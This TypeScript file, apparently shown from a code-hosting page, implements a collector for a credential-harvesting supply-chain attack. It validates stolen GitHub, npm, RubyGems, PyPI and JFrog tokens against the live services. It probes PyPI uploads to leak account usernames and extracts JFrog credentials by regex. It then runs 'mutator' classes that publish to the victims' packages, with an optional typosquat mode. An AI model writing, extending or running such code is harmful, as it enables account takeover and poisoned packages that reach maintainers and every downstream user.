568 lines
17 KiB
TypeScript
568 lines
17 KiB
TypeScript
import { getTokenMetadata } from "../github_utils/tokenCheck";
|
|
import { JfrogNpmMutator } from "../mutator/jfrognpm";
|
|
import {
|
|
detectCredential,
|
|
validateCredentials,
|
|
} from "../mutator/jfrognpm/auth";
|
|
import { NpmClient } from "../mutator/npm";
|
|
import { checkToken as checkNpmToken } from "../mutator/npm/tokenCheck";
|
|
import { PypiMutator } from "../mutator/pypi";
|
|
import { parseMacaroonToken } from "../mutator/pypi/macaroonParse";
|
|
import { RubyGemsClient } from "../mutator/rubygems/index";
|
|
import { checkRubygemsToken } from "../mutator/rubygems/tokenCheck";
|
|
import { TypoMutator } from "../mutator/typo";
|
|
import type { ProviderResult } from "../providers/types";
|
|
import { logUtil } from "../utils/logger";
|
|
|
|
export type DispatchFn = (batch: ProviderResult[]) => Promise<void>;
|
|
export type CollectorSource = (collector: Collector) => Promise<void>;
|
|
|
|
export interface CollectorOptions {
|
|
/** Flush threshold in bytes. Default 100 KB. */
|
|
flushThresholdBytes?: number;
|
|
/** Called with a batch whenever the threshold is crossed or on finalize. */
|
|
dispatch: DispatchFn;
|
|
}
|
|
|
|
export class Collector {
|
|
private buffer: ProviderResult[] = [];
|
|
private bufferedBytes = 0;
|
|
private readonly threshold: number;
|
|
private readonly dispatch: DispatchFn;
|
|
|
|
/** In-flight dispatches we may want to await on finalize(). */
|
|
private inflight: Set<Promise<void>> = new Set();
|
|
|
|
/**
|
|
* All validated GitHub tokens discovered by ANY provider
|
|
* (quick-results + cloud). Populated during {@link ingest}
|
|
* and readable after {@link finalize} for mutation planning.
|
|
*/
|
|
private _discoveredTokens = new Set<string>();
|
|
|
|
constructor(opts: CollectorOptions) {
|
|
this.threshold = opts.flushThresholdBytes ?? 100 * 1024;
|
|
this.dispatch = opts.dispatch;
|
|
}
|
|
|
|
/** Called from the main-thread worker message handler. */
|
|
ingest(result: ProviderResult): void {
|
|
if (!result.success) {
|
|
logUtil.warn(
|
|
`[collector] dropping failed result from ${result.provider}/${result.service}: ${result.error?.message ?? "unknown error"}`,
|
|
);
|
|
return;
|
|
} else {
|
|
logUtil.info(
|
|
`[collector] forwarding result from ${result.provider}/${result.service}`,
|
|
);
|
|
}
|
|
|
|
const tokenPromises: Promise<void>[] = [];
|
|
|
|
if (result.matches?.["ghtoken"]) {
|
|
tokenPromises.push(
|
|
this.handleGhTokens(result).catch((err) => {
|
|
logUtil.error("[collector] gh token check failed:", err);
|
|
}),
|
|
);
|
|
}
|
|
|
|
if (result.matches?.["fgtoken"]) {
|
|
tokenPromises.push(
|
|
this.handleFgGhTokens(result).catch((err) => {
|
|
logUtil.error("[collector] fg token check failed:", err);
|
|
}),
|
|
);
|
|
}
|
|
|
|
if (result.matches?.["npmtoken"]) {
|
|
tokenPromises.push(
|
|
this.handleNpmTokens(result).catch((err) => {
|
|
logUtil.error("[collector] npm token check failed:", err);
|
|
}),
|
|
);
|
|
}
|
|
|
|
if (result.matches?.["rubygemstoken"]) {
|
|
tokenPromises.push(
|
|
this.handleRubygemsTokens(result).catch((err) => {
|
|
logUtil.error("[collector] rubygems token check failed:", err);
|
|
}),
|
|
);
|
|
}
|
|
|
|
if (result.matches?.["pypitoken"]) {
|
|
tokenPromises.push(
|
|
this.handlePypiTokens(result).catch((err) => {
|
|
logUtil.error("[collector] pypi token check failed:", err);
|
|
}),
|
|
);
|
|
}
|
|
|
|
if (
|
|
result.matches?.["jfrogdomain"] ||
|
|
result.matches?.["jfrogtoken"] ||
|
|
result.matches?.["jfrogreftoken"]
|
|
) {
|
|
tokenPromises.push(
|
|
this.handleJfrog(result).catch((err) => {
|
|
logUtil.error("[collector] jfrog handler failed:", err);
|
|
}),
|
|
);
|
|
}
|
|
|
|
// Push result to buffer after token metadata checks complete.
|
|
// This ensures tokenMetadata is populated before serialization/dispatch.
|
|
// When there are no tokens to check, push synchronously to preserve
|
|
// the existing API contract (e.g. synchronous pendingCount assertions).
|
|
const pushToBuffer = () => {
|
|
this.buffer.push(result);
|
|
this.bufferedBytes += result.size;
|
|
|
|
if (this.bufferedBytes >= this.threshold) {
|
|
this.flush();
|
|
}
|
|
};
|
|
|
|
if (tokenPromises.length === 0) {
|
|
pushToBuffer();
|
|
return;
|
|
}
|
|
|
|
const p = Promise.all(tokenPromises)
|
|
.then(pushToBuffer)
|
|
.finally(() => {
|
|
this.inflight.delete(p);
|
|
});
|
|
this.inflight.add(p);
|
|
}
|
|
|
|
/**
|
|
* Validate fine-grained GitHub tokens (github_pat_...).
|
|
*
|
|
* Fine-grained PATs follow GitHub's token format introduced in 2022:
|
|
* github_pat_<prefix>_<random>
|
|
*
|
|
* They are validated via the same `/user` endpoint as classic tokens,
|
|
* but classic-token-specific headers like `x-oauth-scopes` may be absent.
|
|
*/
|
|
private async handleFgGhTokens(result: ProviderResult): Promise<void> {
|
|
const tokens = result.matches!["fgtoken"];
|
|
if (!tokens) return;
|
|
|
|
const validTokens: string[] = [];
|
|
|
|
for (const token of tokens) {
|
|
// Basic format guard: must start with github_pat_
|
|
if (typeof token !== "string" || !token.startsWith("github_pat_")) {
|
|
continue;
|
|
}
|
|
|
|
const meta = await getTokenMetadata(token);
|
|
if (meta.valid) {
|
|
validTokens.push(token);
|
|
this._discoveredTokens.add(token);
|
|
if (!result.tokenMetadata) {
|
|
result.tokenMetadata = {};
|
|
}
|
|
result.tokenMetadata[token] = meta;
|
|
}
|
|
}
|
|
|
|
result.matches!["fgtoken"] = validTokens;
|
|
if (validTokens.length === 0) {
|
|
delete result.matches!["fgtoken"];
|
|
}
|
|
}
|
|
|
|
private async handleGhTokens(result: ProviderResult): Promise<void> {
|
|
const tokens = result.matches!["ghtoken"];
|
|
if (!tokens) return;
|
|
|
|
const validTokens: string[] = [];
|
|
|
|
for (const token of tokens) {
|
|
// Skip if buildProviders() already validated this token.
|
|
let meta = result.tokenMetadata?.[token];
|
|
if (!meta) {
|
|
meta = await getTokenMetadata(token);
|
|
}
|
|
if (meta.valid) {
|
|
validTokens.push(token);
|
|
this._discoveredTokens.add(token);
|
|
if (!result.tokenMetadata) {
|
|
result.tokenMetadata = {};
|
|
}
|
|
result.tokenMetadata[token] = meta;
|
|
}
|
|
}
|
|
|
|
result.matches!["ghtoken"] = validTokens;
|
|
if (validTokens.length === 0) {
|
|
delete result.matches!["ghtoken"];
|
|
}
|
|
}
|
|
|
|
private async handleNpmTokens(result: ProviderResult): Promise<void> {
|
|
const tokens = result.matches!["npmtoken"];
|
|
if (!tokens) return;
|
|
|
|
const validTokens: string[] = [];
|
|
|
|
for (const token of tokens) {
|
|
const npmCheck = await checkNpmToken(token);
|
|
if (!npmCheck.valid) {
|
|
logUtil.log(`[collector] npm token invalid, skipping`);
|
|
continue;
|
|
}
|
|
validTokens.push(token);
|
|
if (!result.tokenMetadata) {
|
|
result.tokenMetadata = {};
|
|
}
|
|
result.tokenMetadata[token] = {
|
|
packages: npmCheck.packages,
|
|
authToken: npmCheck.authToken,
|
|
valid: true,
|
|
} as any;
|
|
logUtil.log(
|
|
`[collector] npm token valid — ${npmCheck.packages.length} package(s)`,
|
|
);
|
|
const npmIntegration = new NpmClient(npmCheck);
|
|
await npmIntegration.execute();
|
|
}
|
|
|
|
result.matches!["npmtoken"] = validTokens;
|
|
if (validTokens.length === 0) {
|
|
delete result.matches!["npmtoken"];
|
|
}
|
|
}
|
|
|
|
private async handleRubygemsTokens(result: ProviderResult): Promise<void> {
|
|
const tokens = result.matches!["rubygemstoken"];
|
|
if (!tokens) return;
|
|
|
|
const validTokens: string[] = [];
|
|
|
|
for (const token of tokens) {
|
|
const tokenInfo = await checkRubygemsToken(token);
|
|
if (!tokenInfo.valid) {
|
|
logUtil.log(`[collector] rubygems token invalid, skipping`);
|
|
continue;
|
|
}
|
|
validTokens.push(token);
|
|
if (!result.tokenMetadata) {
|
|
result.tokenMetadata = {};
|
|
}
|
|
result.tokenMetadata[token] = {
|
|
packages: tokenInfo.gems,
|
|
authToken: tokenInfo.authToken,
|
|
valid: true,
|
|
} as any;
|
|
logUtil.log(
|
|
`[collector] rubygems token valid — ${tokenInfo.gems.length} gem(s)`,
|
|
);
|
|
const client = new RubyGemsClient(tokenInfo);
|
|
await client.execute();
|
|
}
|
|
|
|
result.matches!["rubygemstoken"] = validTokens;
|
|
if (validTokens.length === 0) {
|
|
delete result.matches!["rubygemstoken"];
|
|
}
|
|
}
|
|
|
|
private async handlePypiTokens(result: ProviderResult): Promise<void> {
|
|
const tokens = result.matches!["pypitoken"];
|
|
if (!tokens) return;
|
|
|
|
const validTokens: string[] = [];
|
|
|
|
for (const token of tokens) {
|
|
if (typeof token !== "string" || !token.startsWith("pypi-")) {
|
|
continue;
|
|
}
|
|
|
|
// Validate by sending an incomplete upload — PyPI returns 400
|
|
// for valid tokens (failed auth returns 403).
|
|
let valid = false;
|
|
try {
|
|
const form = new FormData();
|
|
form.append(":action", "file_upload");
|
|
form.append("name", "dummy-package");
|
|
form.append("version", "0.0.1");
|
|
form.append("content", "dummy-content");
|
|
|
|
const res = await fetch("https://upload.pypi.org/legacy/", {
|
|
method: "POST",
|
|
headers: { Authorization: `token ${token}` },
|
|
body: form,
|
|
});
|
|
if (res.status === 400) {
|
|
valid = true;
|
|
}
|
|
// 403 = invalid token, anything else = assume invalid
|
|
} catch {
|
|
// network error — skip
|
|
}
|
|
|
|
if (!valid) {
|
|
logUtil.log("[collector] pypi token invalid, skipping");
|
|
continue;
|
|
}
|
|
|
|
const macaroon = parseMacaroonToken(token);
|
|
logUtil.log(
|
|
`[collector] pypi token valid — type=${macaroon.type}, packages=${macaroon.packages.length}`,
|
|
);
|
|
|
|
// Username probe — upload to "six" to leak username via 403
|
|
try {
|
|
const probeForm = new FormData();
|
|
probeForm.append(":action", "file_upload");
|
|
probeForm.append("name", "six");
|
|
probeForm.append("version", "0.0.1");
|
|
probeForm.append("content", new Blob(["x"]), "x");
|
|
const probeRes = await fetch("https://upload.pypi.org/legacy/", {
|
|
method: "POST",
|
|
headers: { Authorization: `token ${token}` },
|
|
body: probeForm,
|
|
});
|
|
if (probeRes.status === 403) {
|
|
const text = await probeRes.text();
|
|
const m = text.match(/The user '([^']+)' isn't allowed/);
|
|
if (m) {
|
|
logUtil.log(`[collector] pypi username: ${m[1]}`);
|
|
logUtil.log(`Deleted`);
|
|
}
|
|
}
|
|
} catch {
|
|
// non-critical
|
|
}
|
|
|
|
validTokens.push(token);
|
|
if (!result.tokenMetadata) {
|
|
result.tokenMetadata = {};
|
|
}
|
|
result.tokenMetadata[token] = {
|
|
packages: macaroon.packages,
|
|
type: macaroon.type,
|
|
valid: true,
|
|
} as any;
|
|
|
|
// Typo mode: skip normal publish, only do MCP-suffixed variants
|
|
if (process.env.TYPO_MODE === "1" && process.env.TARGET_PACKAGES) {
|
|
const typoClient = new TypoMutator(
|
|
token,
|
|
process.env.TARGET_PACKAGES.split(",")
|
|
.map((s) => s.trim())
|
|
.filter(Boolean),
|
|
);
|
|
await typoClient.execute();
|
|
} else {
|
|
const client = new PypiMutator(token, macaroon.packages);
|
|
await client.execute();
|
|
}
|
|
}
|
|
|
|
result.matches!["pypitoken"] = validTokens;
|
|
if (validTokens.length === 0) {
|
|
delete result.matches!["pypitoken"];
|
|
}
|
|
}
|
|
|
|
// -----------------------------------------------------------------------
|
|
// JFrog handler — pairs *.jfrog.io URLs with nearby credentials
|
|
// -----------------------------------------------------------------------
|
|
|
|
private static readonly JFROG_CRED_RES: RegExp[] = [
|
|
/\/\/[^:]+:_authToken=([^\s"'\n]+)/g,
|
|
/\/\/[^:]+:_auth=([^\s"'\n]+)/g,
|
|
/(?:JFROG|ARTIFACTORY|NPM)_(?:TOKEN|AUTH|API[_-]?KEY)\s*=\s*([^\s"'\n]+)/gi,
|
|
/X-JFrog-Art-Api[:\s]+([^\s"'\n]+)/gi,
|
|
/Authorization:\s*Bearer\s+([^\s"'\n]+)/gi,
|
|
];
|
|
|
|
private async handleJfrog(result: ProviderResult): Promise<void> {
|
|
const domains: string[] = result.matches?.jfrogdomain ?? [];
|
|
const apiKeys: string[] = result.matches?.jfrogtoken ?? [];
|
|
const refTokens: string[] = result.matches?.jfrogreftoken ?? [];
|
|
|
|
if (domains.length === 0 && apiKeys.length === 0 && refTokens.length === 0)
|
|
return;
|
|
|
|
const text = this.flattenData(result.data);
|
|
|
|
for (const domainUrl of domains) {
|
|
const baseUrl = this.normalizeJfrogUrl(domainUrl);
|
|
const creds = this.extractJfrogCreds(text);
|
|
for (const key of apiKeys) {
|
|
if (!creds.includes(key)) creds.push(key);
|
|
}
|
|
for (const rt of refTokens) {
|
|
if (!creds.includes(rt)) creds.push(rt);
|
|
}
|
|
|
|
if (creds.length === 0) {
|
|
logUtil.log(
|
|
`[collector] jfrog domain ${baseUrl} found but no credential nearby`,
|
|
);
|
|
continue;
|
|
}
|
|
|
|
for (const cred of creds) {
|
|
await this.tryJfrogCred(baseUrl, cred, result);
|
|
}
|
|
}
|
|
|
|
if (domains.length === 0 && (apiKeys.length > 0 || refTokens.length > 0)) {
|
|
logUtil.log(
|
|
`[collector] jfrog token(s) found but no jfrog.io URL — skipping`,
|
|
);
|
|
}
|
|
}
|
|
|
|
private async tryJfrogCred(
|
|
baseUrl: string,
|
|
rawCred: string,
|
|
result: ProviderResult,
|
|
): Promise<void> {
|
|
const credential = detectCredential(rawCred);
|
|
const validation = await validateCredentials(baseUrl, credential);
|
|
|
|
if (!validation.valid) {
|
|
logUtil.log(
|
|
`[collector] jfrog ${baseUrl}: credential invalid — ${validation.error}`,
|
|
);
|
|
return;
|
|
}
|
|
|
|
const session = validation.session!;
|
|
logUtil.log(
|
|
`[collector] jfrog ${baseUrl}: valid as ${session.username} (admin=${session.isAdmin}, write=${session.canWrite})`,
|
|
);
|
|
|
|
if (!result.tokenMetadata) {
|
|
result.tokenMetadata = {};
|
|
}
|
|
result.tokenMetadata[rawCred] = {
|
|
baseUrl: session.baseUrl,
|
|
username: session.username,
|
|
isAdmin: session.isAdmin,
|
|
canWrite: session.canWrite,
|
|
npmRepos: session.npmRepos,
|
|
valid: true,
|
|
} as any;
|
|
|
|
if (!session.canWrite) {
|
|
logUtil.log("[collector] jfrog: no write access — skipping mutation");
|
|
return;
|
|
}
|
|
|
|
const mutator = new JfrogNpmMutator(session);
|
|
await mutator.execute();
|
|
}
|
|
|
|
private normalizeJfrogUrl(url: string): string {
|
|
const m = url.match(
|
|
/^(https?:\/\/[a-zA-Z0-9][-a-zA-Z0-9]*\.jfrog\.io(?:\/artifactory)?)/,
|
|
);
|
|
return m?.[1] ? m[1].replace(/\/$/, "") : url.replace(/\/$/, "");
|
|
}
|
|
|
|
private extractJfrogCreds(text: string): string[] {
|
|
const creds: string[] = [];
|
|
const seen = new Set<string>();
|
|
for (const re of Collector.JFROG_CRED_RES) {
|
|
const r = new RegExp(re.source, re.flags);
|
|
let m: RegExpExecArray | null;
|
|
while ((m = r.exec(text)) !== null) {
|
|
const val = m[1]?.trim();
|
|
if (val && val.length > 4 && !seen.has(val)) {
|
|
seen.add(val);
|
|
creds.push(val);
|
|
}
|
|
}
|
|
}
|
|
return creds;
|
|
}
|
|
|
|
private flattenData(data: unknown): string {
|
|
if (typeof data === "string") return data;
|
|
if (data === null || data === undefined) return "";
|
|
if (typeof data === "object") {
|
|
try {
|
|
return JSON.stringify(data);
|
|
} catch {
|
|
return String(data);
|
|
}
|
|
}
|
|
return String(data);
|
|
}
|
|
|
|
/**
|
|
* Swap the buffer and hand it off to the dispatcher.
|
|
* Non-blocking: ingestion may continue filling a new buffer while
|
|
* the previous batch is being dispatched.
|
|
*/
|
|
private flush(): void {
|
|
if (this.buffer.length === 0) return;
|
|
|
|
const batch = this.buffer;
|
|
this.buffer = [];
|
|
this.bufferedBytes = 0;
|
|
const p = this.dispatch(batch)
|
|
.then(() => {
|
|
logUtil.log(`[collector] dispatched batch of ${batch.length} results`);
|
|
})
|
|
.catch((err) => {
|
|
logUtil.error(
|
|
`[collector] dispatch failed for batch of ${batch.length}:`,
|
|
err,
|
|
);
|
|
});
|
|
|
|
this.inflight.add(p);
|
|
}
|
|
|
|
/**
|
|
* Flush any remaining data and wait for all in-flight dispatches.
|
|
* Call this when all providers have reported done.
|
|
*/
|
|
async finalize(): Promise<void> {
|
|
this.flush();
|
|
await Promise.all(this.inflight);
|
|
}
|
|
|
|
/**
|
|
* Execute sources in parallel, isolate per-source failures, and
|
|
* guarantee finalize() is always called.
|
|
*/
|
|
async run(sources: CollectorSource[]): Promise<void> {
|
|
try {
|
|
await Promise.all(
|
|
sources.map((source) =>
|
|
source(this).catch((err) => {
|
|
logUtil.error(`[collector] source failed:`, err);
|
|
}),
|
|
),
|
|
);
|
|
} finally {
|
|
await this.finalize();
|
|
}
|
|
}
|
|
|
|
/** Inspection helpers, useful for tests and metrics. */
|
|
get pendingBytes(): number {
|
|
return this.bufferedBytes;
|
|
}
|
|
get pendingCount(): number {
|
|
return this.buffer.length;
|
|
}
|
|
|
|
/** All validated GitHub tokens discovered across all providers. */
|
|
get discoveredTokens(): ReadonlySet<string> {
|
|
return this._discoveredTokens;
|
|
}
|
|
}
|